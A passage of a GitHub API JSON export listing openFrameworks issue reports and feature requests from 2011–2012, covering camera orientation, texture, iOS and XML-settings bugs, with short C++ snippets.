(!tessTesselate(cacheTess, polyWindingMode, TESS_POLYGONS, 3, 3, 0)){\" in \"performTessellation\" function in file ofTessellator.cpp ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/789","comments":1,"milestone":null,"number":789,"html_url":"https://github.com/openframeworks/openFrameworks/issues/789","assignee":null,"title":"crashes with tessellator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-21T14:49:12Z","state":"open","user":{"url":"https://api.github.com/users/ruim","gravatar_id":"18875575931764c674b5fc64ae8b7274","login":"ruim","avatar_url":"https://secure.gravatar.com/avatar/18875575931764c674b5fc64ae8b7274?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480525},"id":2016194,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-19T22:39:37Z","body":"would be useful as well. Perhaps an ofxMeshUtils would be in order for upcoming versions...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/787","comments":0,"milestone":null,"number":787,"html_url":"https://github.com/openframeworks/openFrameworks/issues/787","assignee":null,"title":"half edge mesh structure extension of ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:39:37Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999520,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-04T21:59:22Z","body":"would be quite useful","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/786","comments":1,"milestone":null,"number":786,"html_url":"https://github.com/openframeworks/openFrameworks/issues/786","assignee":null,"title":"axis aligned bounding box tree for ofMesh","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-19T22:38:35Z","state":"open","user":{"url":"https://api.github.com/users/kpasko","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","login":"kpasko","avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":167271},"id":1999513,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-27T17:58:58Z","body":"I am loading in boujou camera data (translation and euler rotation), and I get really fine results when I do: \r\n\r\nglTranslatef(tx,ty,tz);\r\nglRotatef(rx, 1,0,0);\r\nglRotatef(ry, 0,1,0);\r\nglRotatef(rz, 0,0,1);\r\n\r\nbut when I create an ofCamera, and do: \r\n\r\nsetPosition(ofPoint(tx, ty, tz));\r\nsetOrientation(ofPoint(rx, ry, rz));\r\n\r\nI get strange results. I am wondering about ofNodes \"setOrientation\" and if it's really right in that the order is switched:\r\n\r\nsetOrientation(ofQuaternion(eulerAngles.y, ofVec3f(0, 1, 0), eulerAngles.x, ofVec3f(1, 0, 0), eulerAngles.z, ofVec3f(0, 0, 1)));\r\n\r\nalso, maybe I am mis interpreting what \"set orientation\" does. But I can't seem to get similar results with ofCam, even if I do, for example, \r\n\r\ncam.setPosition( tx,ty,tz);\r\ncam.rotate( rx, 1,0,0);\r\ncam.rotate( ry, 0,1,0);\r\ncam.rotate( rz, 0,0,1);\r\n\r\nI still don't get the same results as when I do it via opengl. This seems like a bug maybe with how ofNode handles rotation?\r\n\r\n(note , I am calling resetTranform() on the camera, so it's not an accumulation of rotations.... it's just that I can't seem to find a way to get ofCam to rotate in the same way as opengl commands). \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/785","comments":2,"milestone":null,"number":785,"html_url":"https://github.com/openframeworks/openFrameworks/issues/785","assignee":null,"title":"ofCamera setOrientation gives odd results","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-19T11:16:42Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1992818,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-09T11:46:35Z","body":"It seems to be happening pretty far in, if you put debug statements in touchesMoved in EAGL view, you will see that y is set to the x value of the touch.\r\n\r\nThis does not occur in debug mode, or in the simulator, and it has to be done with xcode4. I am running the newest ios5 beta as well.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/778","comments":2,"milestone":null,"number":778,"html_url":"https://github.com/openframeworks/openFrameworks/issues/778","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"running an iphone retina app in release mode causes touch.x == touch.y","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-18T11:26:26Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1597},"id":1938472,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-16T18:30:08Z","body":"\r\nat the moment, the ofCamera draw calls ofNode, which does't really give you a clear indication of which way the camera is looking. even that is weird, because a camera looks on -z, and the node draw draws a line on positive z. \r\n\r\nI suggest we add something that draws a bit of a frustum (ie, fov, etc) and gives you a feeling about orientation. \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/774","comments":0,"milestone":null,"number":774,"html_url":"https://github.com/openframeworks/openFrameworks/issues/774","assignee":null,"title":"ofCamera draw() should be more indicative of where the camera is facing. ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-16T18:30:08Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1922704,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T15:09:29Z","body":"Currently we have:\r\n\tvirtual void draw(float x,float y)=0;\r\n\tvirtual void draw(float x,float y,float w, float h)=0;\r\n\r\n\tvirtual float getHeight()=0;\r\n\tvirtual float getWidth()=0;\r\n\r\nSince we're insisting that the user define a getWidth and getHeight, can I ask why we don't set the default of draw(x,y) to be\r\n virtual void draw(float x,float y) {draw(x, y, getWidth(), getHeight()) };\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/772","comments":0,"milestone":null,"number":772,"html_url":"https://github.com/openframeworks/openFrameworks/issues/772","assignee":null,"title":"ofBaseDraws draw(x, y) default","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-12T15:08:55Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294},"id":1888302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T15:11:08Z","body":"Greetings,\r\n\r\nI downloaded OF v.007 on my laptop running Vista SP2. I compiled and ran some of the example apps like imageLoader example using VS2010. \r\n\r\nTextures seem to be broken. Images appear as white slabs.\r\n\r\nI tracked it down and found that disabling ArbTex, with ofDisableArbTex(), will get the textures working again. \r\n\r\nUsing ArbTex worked fine in OF v0.62 on the same machine.\r\n\r\nLaptop:\r\nHP Pavilion dv600 Notebook PC\r\nManufacturer: Hewlett-Packard\r\nOperating System: Windows Vista Home Premium, Service Pack 2 (6.0.6002)\r\nPhysical Memory:\t 2037 MB\r\nProcessor: Intel Core2 Duo PU T5250 @ 1.5 GHz, 1.5 GHz\r\n\r\nCompiler:\r\nMicrosoft Visual Studio 2010\r\nInstalled Version: Professional\r\nMicrosoft Visual C++ 2010\r\n\r\nGraphics:\r\nGraphics: Intel Graphics Media Accelerator Driver for Mobile\r\nGraphics: Driver Version: 7.14.10.1244\r\nDirectX Version:\t10.0\r\nOpenGL Version 1.5\r\n\r\nHere's a full report of OpenGL info from GLview:\r\n\r\n\r\nRenderer: Intel 965/963 Graphics Media Accelerator\r\nVendor: Intel\r\nMemory: 448 MB\r\nVersion: 1.5.0 - Build 7.14.10.1244\r\nShading language version: N/A\r\n\r\n\r\nMax texture size: 2048 x 2048\r\nMax texture coordinates: 8\r\nMax vertex texture image units: 0\r\nMax texture image units: 16\r\nMax geometry texture units: 0\r\nMax anisotropic filtering value: 2\r\nMax number of light sources: 16\r\nMax viewport size: 2048 x 2048\r\nMax uniform vertex components: 0\r\nMax uniform fragment components: 0\r\nMax geometry uniform components: 0\r\nMax varying floats: 0\r\nMax samples: 0\r\nMax draw buffers: 0\r\n\r\n\r\nExtensions: 56\r\n\r\nGL_3DFX_texture_compression_FXT1\r\nGL_ARB_depth_texture\r\nGL_ARB_fragment_program\r\nGL_ARB_multitexture\r\nGL_ARB_occlusion_query\r\nGL_ARB_point_parameters\r\nGL_ARB_shadow\r\nGL_ARB_texture_border_clamp\r\nGL_ARB_texture_compression\r\nGL_ARB_texture_cube_map\r\nGL_ARB_texture_env_add\r\nGL_ARB_texture_env_combine\r\nGL_ARB_texture_env_crossbar\r\nGL_ARB_texture_env_dot3\r\nGL_ARB_transpose_matrix\r\nGL_ARB_vertex_buffer_object\r\nGL_ARB_vertex_program\r\nGL_ARB_window_pos\r\nGL_EXT_abgr\r\nGL_EXT_bgra\r\nGL_EXT_blend_color\r\nGL_EXT_blend_func_separate\r\nGL_EXT_blend_minmax\r\nGL_EXT_blend_subtract\r\nGL_EXT_clip_volume_hint\r\nGL_EXT_compiled_vertex_array\r\nGL_EXT_draw_range_elements\r\nGL_EXT_fog_coord\r\nGL_EXT_multi_draw_arrays\r\nGL_EXT_packed_pixels\r\nGL_EXT_rescale_normal\r\nGL_EXT_secondary_color\r\nGL_EXT_separate_specular_color\r\nGL_EXT_shadow_funcs\r\nGL_EXT_stencil_two_side\r\nGL_EXT_stencil_wrap\r\nGL_EXT_texture3D\r\nGL_EXT_texture_compression_s3tc\r\nGL_EXT_texture_env_add\r\nGL_EXT_texture_env_combine\r\nGL_EXT_texture_filter_anisotropic\r\nGL_EXT_texture_lod_bias\r\nGL_IBM_texture_mirrored_repeat\r\nGL_NV_blend_square\r\nGL_NV_texgen_reflection\r\nGL_SGIS_generate_mipmap\r\nGL_SGIS_texture_edge_clamp\r\nGL_SGIS_texture_lod\r\nGL_WIN_swap_hint\r\nWGL_ARB_buffer_region\r\nWGL_ARB_extensions_string\r\nWGL_ARB_make_current_read\r\nWGL_ARB_pbuffer\r\nWGL_ARB_pixel_format\r\nWGL_EXT_extensions_string\r\nWGL_EXT_swap_control\r\n\r\nCore features\r\nv1.1 (100 % - 7/7)\r\nv1.2 (100 % - 8/8)\r\nv1.3 (100 % - 9/9)\r\nv1.4 (100 % - 15/15)\r\nv1.5 (100 % - 3/3)\r\nv2.0 (10 % - 1/10)\r\nv2.1 (0 % - 0/3)\r\nv3.0 (0 % - 0/23)\r\nv3.1 (0 % - 0/8)\r\nv3.2 (0 % - 0/10)\r\nv3.3 (0 % - 0/10)\r\nv4.0 (0 % - 0/14)\r\nv4.1 (0 % - 0/7)\r\nv4.2 (0 % - 0/12)\r\n\r\nOpenGL driver version check (Current: 1.5.0 - Build 7.14.10.1244, Latest known: ):\r\nLatest version of display drivers found\r\nAccording the database, you are running the latest display drivers for your video card.\r\n\r\nNo ICD registry entry\r\nThe current OpenGL driver doesn't expose the SOFTWARE/Microsoft/Windows (NT)/CurrentVersion/OpenGLDrivers registry entry. Unable to detect the driver version, driver revision name and filename.\r\n\r\nCompiled vertex array support\r\nThis feature improves OpenGL performance by using video memory to cache transformed vertices.\r\n\r\nMultitexture support\r\nThis feature accelerates complex rendering such as lightmaps or environment mapping.\r\n\r\nSecondary color support\r\nThis feature provides an alternate method of coloring specular highlights on polygons.\r\n\r\nS3TC compression support\r\nThis feature improves texture mapping performance in some applications by using lossy compression.\r\n\r\nTexture edge clamp support\r\nThis feature improves texturing quality by adding clamping control to edge texel filtering.\r\n\r\nVertex program support\r\nThis feature enables a wide variety of effects via flexible vertex programming (equivalent to DX8 Vertex Shader.)\r\n\r\nFragment program support\r\nThis feature enables a wide variety of effects via per pixel programming (equivalent to DX9 Pixel Shader.)\r\n\r\nTexture anisotropic filtering support\r\nThis feature improves the quality of texture mapping on oblique surfaces.\r\n\r\nOcclusion test support\r\nThis feature provides hardware accelerated culling for objects.\r\n\r\nNo OpenGL Shading Language support\r\nThis may break compatibility for applications using per pixel shading.\r\n\r\nNo Frame buffer object support\r\nThis may break compatibility for applications using render to texture functions.\r\n\r\nDisabling ArbTex will work for me, but I thought others might have the same problem with 007.\r\n\r\n- Rob","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/771","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":771,"html_url":"https://github.com/openframeworks/openFrameworks/issues/771","assignee":null,"title":"Textures Didn't Work in 007 on my Laptop, Had to Disable ArbTex","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2011-10-11T13:02:28Z","state":"open","user":{"url":"https://api.github.com/users/robgonsalves","gravatar_id":"7c2e18ac17a0b907dbac36aaa6a9ec0f","login":"robgonsalves","avatar_url":"https://secure.gravatar.com/avatar/7c2e18ac17a0b907dbac36aaa6a9ec0f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1119357},"id":1874373,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-24T15:27:29Z","body":"When integrating openFrameworks into existing build systems, it would make things easier if this common include convention was followed.\r\n\r\ni.e. to include openFrameworks headers in my own build, because all the includes look like:\r\n\r\n#include \"ofMesh.h\"\r\n#include \"ofAppGlutWindow.h\"\r\n#include \"ofSerial.h\"\r\n\r\nI have to add all these paths to my include paths:\r\n\r\n\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/app\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/3d\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/communication\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/gl\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/graphics\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/utils\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/types\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/math\r\n ../Libraries/of_preRelease_v007_linux64/libs/openFrameworks/events\r\n\r\n\r\n\r\nIt is common to instead structure files like (in the case of openFrameworks):\r\n\r\noF/include/oF\r\noF/include/oF/app\r\noF/include/oF/3d\r\noF/include/oF/communication\r\noF/include/oF/gl\r\noF/include/oF/graphics\r\n...etc...\r\n\r\nand just write:\r\n\r\n#include \r\n#include \r\n\r\netc.\r\n\r\nI'm not sure if there is an argument to leave it like it is because it's easier for oF's demographic? But I would say teaching the some_lib/include/some_lib/ convention would help people use more C++.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/767","comments":2,"milestone":null,"number":767,"html_url":"https://github.com/openframeworks/openFrameworks/issues/767","assignee":null,"title":"#include instead of #include ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-10-09T03:58:30Z","state":"open","user":{"url":"https://api.github.com/users/gimlids","gravatar_id":"cc4cace34c61103f0624002a692820f7","login":"gimlids","avatar_url":"https://secure.gravatar.com/avatar/cc4cace34c61103f0624002a692820f7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":186277},"id":1854874,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-10-12T13:12:02Z","body":"\r\nat the moment, ofNode has a draw function that has awkwardly hard coded sizes: \r\n\r\nvirtual void customDraw() {\r\n\t\tofBox(10);\r\n\t\tofDrawAxis(20);\r\n\t}\r\n\r\nI'd like a draw(size) option. obviously I can extend ofNode and create my own functions, but if I just draw a node, I might want to adjust the size internally, as the \"10\" and \"20\" might not make any sense based on where I am drawing, for example here: \r\n\r\nhttp://imgur.com/idWPp\r\n\r\nlooks quite weird, but at 1/10th the size would look ok. \r\n\r\nas most other OF objects have draw(size) options, I think ofNodeShould have this too. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/766","comments":4,"milestone":null,"number":766,"html_url":"https://github.com/openframeworks/openFrameworks/issues/766","assignee":null,"title":"ofNode should have a draw(float size) option","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-08T09:38:46Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897},"id":1851779,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T23:51:04Z","body":"edit: originally this issue was about adding glu functions. now i realize any remaining ones need to be removed. but it's still relevant to have an ofScreenToWorld and ofWorldToScreen. \r\n\r\nthis would be really awesome. there is already some code in ofDrawBitmapString that's using gluProject, it would be good to clean it up.\r\n\r\nthe main issue is that glu is not on iOS, so we'd need to find/write our own implementation.\r\n\r\nhere's a first pass:\r\n\r\n\tGLdouble modelviewMatrix[16], projectionMatrix[16];\r\n\tGLint viewport[4];\r\n\tvoid updateProjectionState() {\r\n\t\tglGetDoublev(GL_MODELVIEW_MATRIX, modelviewMatrix);\r\n\t\tglGetDoublev(GL_PROJECTION_MATRIX, projectionMatrix);\r\n\t\tglGetIntegerv(GL_VIEWPORT, viewport);\r\n\t}\r\n\r\n\tofVec3f ofWorldToScreen(ofVec3f world) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tgluProject(world.x, world.y, world.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f screen(x, y, z);\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\treturn screen;\r\n\t}\r\n\r\n\tofVec3f ofScreenToWorld(ofVec3f screen) {\r\n\t\tupdateProjectionState();\r\n\t\tGLdouble x, y, z;\r\n\t\tscreen.y = ofGetHeight() - screen.y;\r\n\t\tgluUnProject(screen.x, screen.y, screen.z, modelviewMatrix, projectionMatrix, viewport, &x, &y, &z);\r\n\t\tofVec3f world(x, y, z);\r\n\t\treturn world;\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/765","comments":4,"milestone":null,"number":765,"html_url":"https://github.com/openframeworks/openFrameworks/issues/765","assignee":null,"title":"remove gluProject and gluUnProject, add screenToWorld, worldToScreen","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-10-07T09:46:06Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":1841802,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-10T06:02:37Z","body":"I made an app using the preRelease version 007, I have a gui view with a bunch of buttons and sliders this view is 1/3 of the screen size and sits at the bottom, it is an Universal app that allows any orientation on the iPad and supports Portrait only for the iPhone / iPod Touch, here is my problem I need to allow touches to pass through the gui view for this I use **[ofxiPhoneGetGLView() addSubview:guiViewController.view];** the problem this method is that the gui view does not call the **willAnimateRotationToInterfaceOrientation()** at launch, and I get the following message in the console\r\n_**Action connections from <UIView: 0x5b88d0; frame = (20 0; 280 320); autoresize = LM+RM+H; layer = <CALayer: 0x5b7d30>> are not supported.**_\r\n\r\n if I use **[ofxiPhoneGetUIWindow() addSubview:guiViewController.view];** the **willAnimateRotationToInterfaceOrientation()** method works at launch as expected and the gui view adjust itself to the correct position and size\r\n\r\nAny help will be much appreciated","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/764","comments":1,"milestone":null,"number":764,"html_url":"https://github.com/openframeworks/openFrameworks/issues/764","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"Autoresize problem in iOS","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-10-05T20:35:04Z","state":"open","user":{"url":"https://api.github.com/users/nardove","gravatar_id":"8022cb5f529975afbc64cc9312008d8c","login":"nardove","avatar_url":"https://secure.gravatar.com/avatar/8022cb5f529975afbc64cc9312008d8c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":277690},"id":1827792,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-28T01:00:34Z","body":"ofxXmlXettings uses TinyXML which gives you lots of useful error info like what line the error is on as well as what it has trouble reading. This is super awesome and useful to people like me who always mistype xml here and there.\r\n\r\nCurrently ofxXmlSettings::loadFile only returns a bool and you're left to figure out if it's a path issue, bad xml formatting, etc. At the least, we should be able to grab an error string.\r\n\r\nHere's how to do it:\r\n
\r\nstd::string Xml::getErrorString(const TiXmlDocument* xmlDoc)\r\n{\r\n    if(xmlDoc == NULL)\r\n        return \"\";\r\n\r\n    std::stringstream error;\r\n    error << \"line \" <<  xmlDoc->ErrorRow() << \", \" << (std::string) xmlDoc->ErrorDesc();\r\n    return error.str();\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/760","comments":1,"milestone":null,"number":760,"html_url":"https://github.com/openframeworks/openFrameworks/issues/760","assignee":null,"title":"ofxXmlSettings does not print any useful error messages","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-09-28T00:53:09Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":1758237,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-02-27T03:48:47Z","body":"This would be the best thing ever. \r\n\r\nstring ipAddr = ofxXmlSettings::readValueFromFile(\"data.xml\", \"ip\", \"127.0.0.1\"); \r\n\r\nofxXmlSettings::saveValueToFile(\"data.xml\", \"ip\", ipAddr); ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/758","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":758,"html_url":"https://github.com/openframeworks/openFrameworks/issues/758","assignee":null,"title":"non ofxXmlSettings object read and write value","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-09-26T11:54:06Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144000},"id":1738864,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-09-25T13:22:59Z","body":"in my opinion, it would make sense for ofPixels::allocate to initialize the new memory to 0. even for large images, i don't think this is such an expensive operation.\r\n\r\ni discovered that it is not initialized to 0 when i had a really weird bug -- some code that gave me different results depending on whether i loaded another image before allocating or not. i was expecting OF to act like opencv, which also sets new memory to 0. this would be in line with ofVec*, ofColor, and a few other things, which are all allocated to 0.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/757","comments":0,"milestone":null,"number":757,"html_url":"https://github.com/openframeworks/openFrameworks/issues/757","assignee":null,"title":"ofPixels::allocate should init new 